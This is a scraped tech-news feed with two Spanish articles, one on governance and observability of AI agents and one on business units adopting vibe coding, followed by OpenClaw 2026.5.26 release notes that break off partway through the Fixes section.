<p>Parte del problema es que los agentes han trastocado los modelos utilizados para determinar si el software tradicional funcionaba correctamente, añade Adel El Hallak, vicepresidente de software de IA en Nvidia. Con el software tradicional, los profesionales de QA y seguridad podían revisar el código para depurar problemas, pero los agentes toman decisiones en el entorno de ejecución de un modelo de IA.</p>



<p>La fuente de verdad para los agentes reside en las trazas, los registros del flujo de ejecución, no en el código, añade. Recopilar trazas —en esencia, registros detallados— es un punto de partida hacia la gobernanza de agentes, pero las organizaciones necesitan poder actuar sobre esa información, dice. “Para confiar en algo, tiene que ser transparente, y la observabilidad es fundamental para la transparencia”, añade El Hallak. “Pero observar no es suficiente. Necesitamos ser capaces de tomar esas señales y convertirlas en algo accionable”.</p>



<p>La gobernanza de agentes va más allá de la observabilidad y permite a las organizaciones probar y ajustar de forma continua los agentes, señala. Las herramientas existen, con empresas como Nvidia desarrollando sus propios marcos internos de gobernanza y varios otros proveedores ofreciendo herramientas de observabilidad y gobernanza de agentes. “No basta con disponer de los datos de comportamiento, con capturar los datos de retroalimentación”, dice. “El sistema debería permitirme anotar, cambiar, ampliar o crear datos de retroalimentación adicionales, y luego puedo utilizar esos datos para mejorar mi agente en su conjunto”.</p>



<h2 class="wp-block-heading">El cuello de botella de la gobernanza</h2>



<p>Al mismo tiempo, muchas empresas que avanzan hacia la gobernanza de agentes han descubierto que puede convertirse en un gran cuello de botella si se hace mal, afirma Nirmal Ganesh, director sénior de gestión de producto para automatización de flujos de trabajo con agentes en el proveedor de almacenamiento en la nube Box. “No creo que hayamos superado todavía la parte difícil en el despliegue de agentes en la empresa”, dice. “La mayoría de las compañías aún no son buenas en esto, y muchas menos han conseguido hacerlo a escala con gobernanza y observabilidad de agentes”.</p>



<p>Ganesh identifica varios problemas, incluidos agentes que operan sin modelos claros de permisos. “Si un agente puede ver más que una persona o acceder a más de lo que permiten los permisos de un usuario sobre contenidos o datos, eso es un incidente esperando a ocurrir”, afirma.</p>



<p>Sin embargo, algunos modelos iniciales de gobernanza de agentes no escalan. Algunos equipos de TI han optado por que los humanos deban aprobar cada salida del agente porque es la opción más segura, indica. “En realidad, esto supone reconstruir procesos manuales con más puntos de control o de recomendación”, dice Ganesh. “A gran escala, la gobernanza se convierte en tu cuello de botella para escalar y deja de ser tu red de seguridad”.</p>



<p>Las organizaciones necesitan procesos de observabilidad y gobernanza que sean a la vez escalables y completos, añade. El retorno de la inversión de los agentes procederá de controles sólidos, modelos de permisos claros y una participación humana bien definida, afirma. “Toda automatización madura necesita observabilidad continua: los flujos de trabajo cambian, las políticas cambian, las decisiones cambian, aparecen nuevos casos de uso”, agrega. “La intervención humana siempre será necesaria para lo que cambia con el tiempo, pero necesitamos menos intervención en los caminos conocidos y más foco en la gestión de excepciones y el ajuste fino de la gobernanza”.</p>



<h2 class="wp-block-heading">Observar el resultado no es suficiente</h2>



<p>La gobernanza no puede centrarse únicamente en el resultado del agente, añade Marcelo Lorenzetti, fundador y CAIO del proveedor de IA para servicios legales SavvyLex. “El mayor reto no es simplemente si un agente produce una buena respuesta”, afirma. “Es si la organización puede demostrar a qué accedió el agente, qué instrucciones siguió, qué herramientas invocó, qué decisiones tomó, dónde intervino un humano y si se mantuvo dentro de los límites autorizados”.</p>



<p>Sin un nivel completo de visibilidad en tiempo de ejecución, las empresas se quedan con capturas de pantalla, registros y explicaciones a posteriori que pueden no cumplir los requisitos legales, de cumplimiento o de seguridad, afirma.</p>



<p>Los agentes deberían verificarse de forma continua en lugar de confiar plenamente en ellos, añade, con la gobernanza incorporada en la propia arquitectura del agente. Recomienda incluir acceso basado en roles, ejecución sujeta a políticas, umbrales de aprobación humana, procedencia de fuentes y herramientas, registros de actividad inmutables, puntuación de confianza, gestión de excepciones y rutas claras de escalado cuando un agente alcanza el límite de su autoridad.</p>



<p>“La observabilidad no debería limitarse a si el modelo respondió”, afirma Lorenzetti. “Debería mostrar todo el recorrido de la decisión desde la entrada hasta la acción”. Los agentes de IA han cambiado el modelo de gobernanza necesario, añade.</p>



<p>“El problema fundamental es que muchas empresas están pasando de una IA que responde preguntas a una IA que actúa, pero sus modelos de gobernanza siguen diseñados para herramientas pasivas, no para flujos de trabajo autónomos”, concluye.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Los CIO incorporan a usuarios de negocio para que desarrollen sus propias aplicaciones con ‘vibe coding’]]></title>
<description><![CDATA[El vibe coding se está expandiendo más allá del ámbito de los equipos de desarrollo de software hacia diversas unidades de negocio en distintas empresas, y los líderes tecnológicos no solo están apoyando estos esfuerzos, sino que en algunos casos están liderando el impulso.



Esta democratizació...]]></description>
<link>https://tsecurity.de/de/3553475/it-nachrichten/los-cio-incorporan-a-usuarios-de-negocio-para-que-desarrollen-sus-propias-aplicaciones-con-vibe-coding/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3553475/it-nachrichten/los-cio-incorporan-a-usuarios-de-negocio-para-que-desarrollen-sus-propias-aplicaciones-con-vibe-coding/</guid>
<pubDate>Thu, 28 May 2026 11:02:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>El <em>vibe coding</em> se está expandiendo más allá del ámbito de los equipos de desarrollo de software hacia diversas unidades de negocio en distintas empresas, y los líderes tecnológicos no solo están apoyando estos esfuerzos, sino que en algunos casos están liderando el impulso.</p>



<p>Esta democratización del desarrollo de software, impulsada por herramientas de <em>vibe coding</em> —incluidos <em>chatbots </em>y agentes que generan código a partir de <em>prompts</em>—, ha convertido esta práctica en algo habitual en departamentos como recursos humanos y marketing.</p>



<p>Con la guía de TI, estos esfuerzos pueden reducir los atrasos en desarrollo, acercar la construcción de soluciones a los problemas de negocio y abrir oportunidades que antes no se abordaban. Pero el vibe coding puede ser arriesgado. Los líderes de TI interesados en liberar el potencial del vibe coding en manos de usuarios de negocio deben establecer la gobernanza y los controles necesarios para garantizar resultados seguros.</p>



<p>A continuación, contamos cómo varios CIO están desplegando el <em>vibe coding</em> más allá de TI y a los retos a los que se han enfrentado.</p>



<h2 class="wp-block-heading">Sintiendo el <em>vibe</em></h2>



<p>En el proveedor de tecnología para servicios financieros EnFi, se anima activamente a toda la organización, incluida la capa directiva, a utilizar Claude Code para crear sus propios subagentes y después lograr que sus equipos usen esas creaciones. “Los resultados nos han sorprendido”, afirma Scott Weller, CTO. “Lo que empezó como una iniciativa de productividad de ingeniería se ha convertido en una capacidad para toda la empresa, donde cualquiera, desde el CEO hasta un responsable de éxito de cliente, puede convertir una idea en un prototipo funcional en horas, no semanas”.</p>



<p>El <em>vibe coding</em> con la herramienta se expandió rápidamente cuando los empleados no ingenieros se dieron cuenta de que podían participar directamente en la construcción de aplicaciones, señala Weller. “Producto, éxito de cliente y <em>stakeholders </em>ejecutivos ahora inician con frecuencia trabajo de desarrollo a través del mismo sistema”, afirma. “Cada iniciativa, independientemente de quién la impulse, pasa por los mismos controles automatizados de calidad, revisiones arquitectónicas y revisión humana del código antes de llegar a producción”.</p>



<p>Cuando un agente de IA escribe código, “sigue las mismas reglas que un ingeniero senior”, explica Weller. “La revisión de código basada en IA detecta violaciones arquitectónicas, problemas de seguridad e inconsistencias de patrones antes de que lo vea un revisor humano. Esto significa que el resultado de una solicitud de Slack de un responsable de producto cumple el mismo nivel de calidad que un <em>pull request</em> de un ingeniero.”</p>



<p>Permitir que cualquier persona de la empresa tenga una idea y la vea funcionar simplemente pidiendo a un <em>bot </em>que la construya “ha cambiado fundamentalmente quién participa en la creación del producto”, añade Weller.</p>



<p>Hacer accesible la codificación asistida por IA ha reducido el tiempo de algunos proyectos de semanas a horas. “Ha incrementado drásticamente el número de experimentos que podemos hacer en mejoras de experiencia de usuario, exploración de funcionalidades y alternativas de flujos de trabajo”, afirma.</p>



<p>El beneficio más significativo es que las nuevas ideas de desarrollo ya no se ven frenadas por la falta de capacidad de ingeniería. “Cuando cualquiera puede describir lo que quiere y verlo construido, la tasa de experimentación aumenta enormemente”, añade.</p>



<h2 class="wp-block-heading">El impulso de crear soluciones a problemas de negocio</h2>



<p>Skillsoft, proveedor de formación tecnológica, también está impulsando el <em>vibe coding</em> fuera de sus equipos de desarrollo. “Aunque inicialmente surgió dentro de TI, hemos sido intencionados al fomentar esta mentalidad más allá del desarrollo de software tradicional”, afirma Orla Daly, CIO. “Vemos un valor real en permitir que equipos de toda la organización exploren, experimenten y resuelvan problemas usando IA de formas directamente conectadas con su trabajo diario.”</p>



<p>En infraestructura y operaciones, personas sin perfil de desarrollo están creando nuevos productos y capacidades o aplicando los principios del <em>vibe coding</em> para resolver incidencias en producción. “Hemos visto experimentación transversal, como prototipos de soluciones de inteligencia de cliente para equipos de go-to-market y el desarrollo rápido de un portal de clientes”, explica Daly. “Cuando las personas aprenden y aplican IA a un problema real de negocio, se genera propósito e impulso”.</p>



<p>Con el <em>vibe coding</em>, los equipos no solo aprenden conceptos nuevos, “también desarrollan criterio, curiosidad y una mejor comprensión de cómo la IA puede elevar su rol y el negocio”, añade. “Los beneficios son tangibles: aprenden más rápido, aumenta el <em>engagement </em>y la organización gana visibilidad sobre las capacidades existentes y su evolución”.</p>



<p>De forma más amplia, el <em>vibe coding</em> apoya la adaptabilidad. “Ayuda a pasar de ver la IA como algo abstracto o intimidante a algo con lo que pueden trabajar con criterio y colaboración, no con procesos rígidos”, afirma. “Las soluciones creadas han cubierto carencias de capacidad y llegado a producción en menos tiempo, generando valor real”.</p>



<h2 class="wp-block-heading">Foco en la experimentación</h2>



<p>En Corevist, plataforma de <em>ecommerce</em>, el uso extendido del <em>vibe coding</em> no surgió como iniciativa formal. “Apareció en distintas áreas, sobre todo en ventas y equipos de cara al cliente, porque la gente quería moverse más rápido y comunicar mejor sus ideas”, señala Terry Stahler, CIO y chief customer officer. Tampoco se expandió solo: “Sin liderazgo impulsando la experimentación, habría avanzado mucho más despacio”, añade.</p>



<p>Hoy se usa sobre todo como herramienta de prototipado. “Ayuda a concretar ideas más rápido, lo que hace las conversaciones más claras. Ese es el mayor beneficio”, dice. “No lo usamos como atajo hacia software en producción: todo lo que va más allá de prototipo pasa por nuestros procesos de ingeniería y seguridad”.</p>



<p>Ventas fue el primer caso de uso, con prototipos en tiempo real durante el proceso comercial. Esto reduce la ambigüedad y facilita validar si se entiende bien la necesidad del cliente.</p>



<p>Marketing también lo ha usado para la actualización de la web. “El valor es la velocidad en fases creativas y de planificación”, señala Stahler.</p>



<h2 class="wp-block-heading">Complemento de ingeniería</h2>



<p>ZenBusiness promueve el <em>vibe coding</em> “de forma transversal”. “Si la IA te ayuda a pasar de una idea a algo funcional sin esperar a ingeniería, queremos que lo hagas”, afirma su CTO, Alex Victoria.</p>



<p>Se ha extendido a múltiples áreas: análisis de datos, prototipos de producto y tareas antes externalizadas. “La cultura es que la experimentación no es solo para ingenieros”. El “gran desbloqueo” llegó en 2025 con Claude Code, junto a herramientas como Cursor y Codex. “Si alguien puede crear un prototipo en una tarde en vez de esperar semanas, cambia qué merece la pena hacer”.</p>



<h2 class="wp-block-heading">Retos</h2>



<p>La adopción masiva del <em>vibe coding</em> plantea retos. Uno es mantener la <strong>calidad</strong>. En EnFi lo han abordado con reglas y más de 40 “skills” que alinean el código con patrones arquitectónicos.</p>



<p>En Agiloft, el principal reto es <strong>organizativo</strong>: entender cómo se realiza realmente el trabajo y gestionar confianza y adopción. También han tenido que abordar control de accesos, identidad y gestión de datos mediante procesos formales de aprobación.</p>



<p>En iCore, el reto fue <strong>generar confianza en usuarios no técnicos</strong>, mediante formación entre pares.</p>



<p>La <strong>gobernanza </strong>es clave, especialmente en sectores regulados como salud, definiendo límites y controles de cumplimiento para evitar riesgos regulatorios.</p>



<h2 class="wp-block-heading">El futuro de la codificación</h2>



<p>Las organizaciones planean ampliar el uso del <em>vibe coding</em>. iCore ya lo extiende a marketing y recursos humanos, en áreas como contenidos y automatización documental. Agiloft busca convertirlo en práctica estándar, con un modelo operativo de IA cohesivo. EnFi lo está ampliando a más funciones: “Describe lo que quieres, míralo construido, revísalo y decide.”</p>



<p>Las organizaciones que dominen el desarrollo asistido por IA internamente “serán capaces de desplegar flujos de trabajo basados en IA para sus clientes con la calidad, gobernanza y fiabilidad que exigen los sectores regulados”, concluye Weller. “La práctica interna es la prueba”.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenClaw 2026.5.26]]></title>
<description><![CDATA[2026.5.26
Highlights

Faster Gateway and replies: startup avoids repeated plugin, channel, session, usage-cost, warning, scheduled-service, and filesystem scans; visible replies separate user-facing sends from slower follow-up work; Gateway runtime/session caches churn less under load.
Transcript...]]></description>
<link>https://tsecurity.de/de/3550892/downloads/openclaw-2026526/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3550892/downloads/openclaw-2026526/</guid>
<pubDate>Wed, 27 May 2026 13:46:34 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.5.26</h2>
<h3>Highlights</h3>
<ul>
<li>Faster Gateway and replies: startup avoids repeated plugin, channel, session, usage-cost, warning, scheduled-service, and filesystem scans; visible replies separate user-facing sends from slower follow-up work; Gateway runtime/session caches churn less under load.</li>
<li>Transcripts are core: transcript-backed meeting summaries, source-provider chunks, cleaned user turns, media provenance, Codex mirrors, WebChat replies, and CLI/TUI replay now use one more reliable transcript path.</li>
<li>More channels are production-ready: Telegram keeps typing/progress context and forum topics, iMessage handles attachment roots, remote media staging, and duplicate local Messages sources, WhatsApp restores group/media behavior, Discord improves voice playback and model picking, and Signal/iMessage/WhatsApp get reaction approvals.</li>
<li>Better voice and Talk: realtime Talk runs can be inspected, steered, cancelled, or followed up from Web UI and Discord voice; wake-name handling is more tolerant without letting ambient speech trigger agents.</li>
<li>Safer content boundaries: Browser snapshot reads honor SSRF policy, system-event text cannot spoof nested prompt markers, fetched file text is wrapped as external content, ClickClack inbound sender allowlists run before agent dispatch, stale device tokens are rejected, and serialized tool-call text is scrubbed from replies.</li>
<li>Providers, Codex, and local models are steadier: named auth profiles, OpenAI sampling params, Codex app-server resume/timeout/usage-limit recovery, dynamic tool-schema guards, xAI usage-limit surfacing, Ollama top-p normalization, and local approval resolution reduce provider-specific dead ends.</li>
<li>More reliable install/update/release paths: Alpine installs, trusted runtime fallback roots, stable update channels, Docker/package timeouts, Windows Scheduled Tasks, Windows/macOS proof lanes, Testbox/Crabbox delegation, plugin publish checks, and macOS runner bootstraps all got hardened.</li>
<li>Better observability: Activity tab, gateway secret-prep traces, tool/model stream progress, explicit fast-mode status, systemd Gateway hygiene, OpenTelemetry LLM spans, release performance evidence, and richer telemetry signals make failures easier to inspect.</li>
</ul>
<h3>Changes</h3>
<ul>
<li>Transcripts: add core transcript capture and source-provider support for transcript-backed meeting summaries, including the renamed Transcripts docs, CLI surface, source-provider chunks, and cleaned user-turn persistence.</li>
<li>Auth: add named model login profiles and supported credential migration for Hermes, OpenCode, and Codex auth profiles, with explicit opt-out and non-interactive controls. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507376112" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85667" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85667/hovercard" href="https://github.com/openclaw/openclaw/pull/85667">#85667</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Diagnostics: trace gateway secret preparation, classify skill/tool usage, surface model stream progress, add OpenTelemetry LLM content spans, and expose alertable telemetry for blocked tools, failover, stale sessions, liveness, oversized payloads, and webhook ingress. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462942195" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83019" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83019/hovercard" href="https://github.com/openclaw/openclaw/pull/83019">#83019</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416373435" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80370" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80370/hovercard" href="https://github.com/openclaw/openclaw/pull/80370">#80370</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512822495" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86191" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86191/hovercard" href="https://github.com/openclaw/openclaw/pull/86191">#86191</a>)</li>
<li>Channels: add Signal reaction approvals, iMessage thumb approval reactions, and WhatsApp thumb approval reaction support so mobile approval flows work without textual <code>/approve</code> commands. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510153620" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85894" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85894/hovercard" href="https://github.com/openclaw/openclaw/pull/85894">#85894</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510696445" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85952" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85952/hovercard" href="https://github.com/openclaw/openclaw/pull/85952">#85952</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504724227" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85477" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85477/hovercard" href="https://github.com/openclaw/openclaw/pull/85477">#85477</a>)</li>
<li>Agents/API: forward OpenAI sampling params through the Gateway and expose estimated context-budget status for active agent runs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4476707401" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84094" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84094/hovercard" href="https://github.com/openclaw/openclaw/pull/84094">#84094</a>)</li>
<li>TUI/status: queue prompts submitted while an agent is busy and show explicit fast-mode state plus richer systemd Gateway hygiene in status output. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520738163" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86722" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86722/hovercard" href="https://github.com/openclaw/openclaw/pull/86722">#86722</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528872767" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87115" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87115/hovercard" href="https://github.com/openclaw/openclaw/pull/87115">#87115</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526043965" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86976" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86976/hovercard" href="https://github.com/openclaw/openclaw/pull/86976">#86976</a>)</li>
<li>Exec approvals: hide durable approval actions that are unavailable for the current prompt and keep approval runtime tokens local-only so stale prompts cannot offer misleading controls. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513659607" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86270" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86270/hovercard" href="https://github.com/openclaw/openclaw/pull/86270">#86270</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514921556" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86359" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86359/hovercard" href="https://github.com/openclaw/openclaw/pull/86359">#86359</a>)</li>
<li>Plugin SDK: add reaction approval helpers and keep diagnostic event root exports discoverable across function-name and alias-bound module graphs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520951336" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86735" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86735/hovercard" href="https://github.com/openclaw/openclaw/pull/86735">#86735</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528316238" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87084" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87084/hovercard" href="https://github.com/openclaw/openclaw/pull/87084">#87084</a>)</li>
<li>Android/iOS: add the Android pair-new-gateway action and improve mobile Talk mode surfaces, including iOS realtime Talk mode and Android offline voice/gateway recovery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4522311194" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86798" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86798/hovercard" href="https://github.com/openclaw/openclaw/pull/86798">#86798</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514830688" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86355" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86355/hovercard" href="https://github.com/openclaw/openclaw/pull/86355">#86355</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</li>
<li>Performance: cache plugin metadata snapshots, package realpaths, stable gateway metadata, model cost indexes, channel resolution, usage-cost indexes, and session/auth hot-path facts so common Gateway and reply paths do less rediscovery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4488512713" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84649" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84649/hovercard" href="https://github.com/openclaw/openclaw/pull/84649">#84649</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509730151" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85843" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85843/hovercard" href="https://github.com/openclaw/openclaw/pull/85843">#85843</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517570243" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86517" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86517/hovercard" href="https://github.com/openclaw/openclaw/pull/86517">#86517</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520170077" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86678" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86678/hovercard" href="https://github.com/openclaw/openclaw/pull/86678">#86678</a>)</li>
<li>Voice: expose shared realtime turn-context tracking through the realtime voice SDK and reuse it for Discord speaker attribution and wake-name context recovery.</li>
<li>Voice: reuse shared realtime output activity tracking in Google Meet command and node audio bridges, including recent-output checks for local barge-in detection.</li>
<li>Voice: expose shared realtime output activity tracking through the realtime voice SDK and reuse it for Discord playback activity and barge-in decisions.</li>
<li>Voice: expose shared realtime consult question matching, speakable-result extraction, and alias-aware forced-consult coordination through the realtime voice SDK, then reuse it in Gateway Talk, Voice Call, and Discord voice paths.</li>
<li>Voice: share activation-name matching and consult-transcript screening through the realtime voice SDK so Discord, browser voice, and meeting surfaces can reuse one implementation.</li>
<li>Cron: default <code>cron.maxConcurrentRuns</code> to 8 so scheduled automations and their isolated agent turns can make progress in parallel without explicit configuration.</li>
<li>QA-Lab: add <code>qa coverage --match &lt;query&gt;</code> so focused proof selection can discover matching scenarios from existing metadata before running live or remote lanes.</li>
<li>Discord/model picker: surface an alpha-bucket select (e.g. <code>A–G (12) · H–N (18) · O–Z (5)</code>) when the provider list or a provider's model list exceeds 25 items, so configs with <code>provider/*</code> wildcards stay one click from the right page instead of paginating through prev/next; falls back to numeric chunks when every item shares the same first letter.</li>
<li>Control UI: add an ephemeral Activity tab for sanitized live tool activity summaries without persisting raw telemetry. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3917789057" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/12831" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/12831/hovercard" href="https://github.com/openclaw/openclaw/issues/12831">#12831</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>Build: include <code>ui:build</code> in the <code>full</code> and <code>ciArtifacts</code> profiles of <code>scripts/build-all.mjs</code> so <code>pnpm build</code> always rebuilds <code>dist/control-ui</code> after <code>tsdown</code> cleans <code>dist</code>, removing the second-command requirement and the missing-asset failure mode for source/runtime installs and CI artifact uploads. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499721411" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85206" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85206/hovercard" href="https://github.com/openclaw/openclaw/issues/85206">#85206</a>)</li>
<li>iOS: improve Talk mode with direct realtime voice sessions, compact toolbar status, and responsive voice waveform feedback. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514830688" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86355" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86355/hovercard" href="https://github.com/openclaw/openclaw/pull/86355">#86355</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</li>
<li>Media: replace the Sharp image backend with Rastermill for metadata, resizing, EXIF orientation, and PNG alpha-preserving optimization so OpenClaw no longer installs Sharp or the WhatsApp Jimp fallback for image processing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516124165" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86437" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86437/hovercard" href="https://github.com/openclaw/openclaw/pull/86437">#86437</a>)</li>
<li>Codex: update the bundled Codex CLI to 0.134.0 and keep native compaction disabled for budget-triggered app-server turns so OpenClaw owns the recovery boundary. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521805566" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86772" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86772/hovercard" href="https://github.com/openclaw/openclaw/pull/86772">#86772</a>)</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>
<p>Memory/security: reject prompt-like text submitted through the explicit <code>memory_store</code> tool before embedding or storage, matching the existing auto-capture prompt-injection filter. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4529278840" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87142" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87142/hovercard" href="https://github.com/openclaw/openclaw/pull/87142">#87142</a>)</p>
</li>
<li>
<p>Gateway/security: enable the default auth rate limiter for remote non-browser and HTTP gateway auth failures when <code>gateway.auth.rateLimit</code> is unset, while preserving the loopback exemption. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4529328719" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87148" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87148/hovercard" href="https://github.com/openclaw/openclaw/pull/87148">#87148</a>)</p>
</li>
<li>
<p>Security/content boundaries: validate Browser snapshot tab URLs against SSRF policy before ChromeMCP or direct CDP reads, sanitize queued system-event text so untrusted plugin/channel labels cannot spoof nested prompt markers, wrap fetched file text and metadata as external content, apply ClickClack <code>allowFrom</code> sender allowlists before agent dispatch, reject RPCs from invalidated device-token clients during rotation, require staged sandbox media refs, and scrub serialized tool-call text from replies. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4392560789" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/78526" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/78526/hovercard" href="https://github.com/openclaw/openclaw/pull/78526">#78526</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528542196" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87094" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87094/hovercard" href="https://github.com/openclaw/openclaw/pull/87094">#87094</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528022916" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87062" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87062/hovercard" href="https://github.com/openclaw/openclaw/pull/87062">#87062</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4472152384" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83741" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83741/hovercard" href="https://github.com/openclaw/openclaw/pull/83741">#83741</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4317741554" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70707" 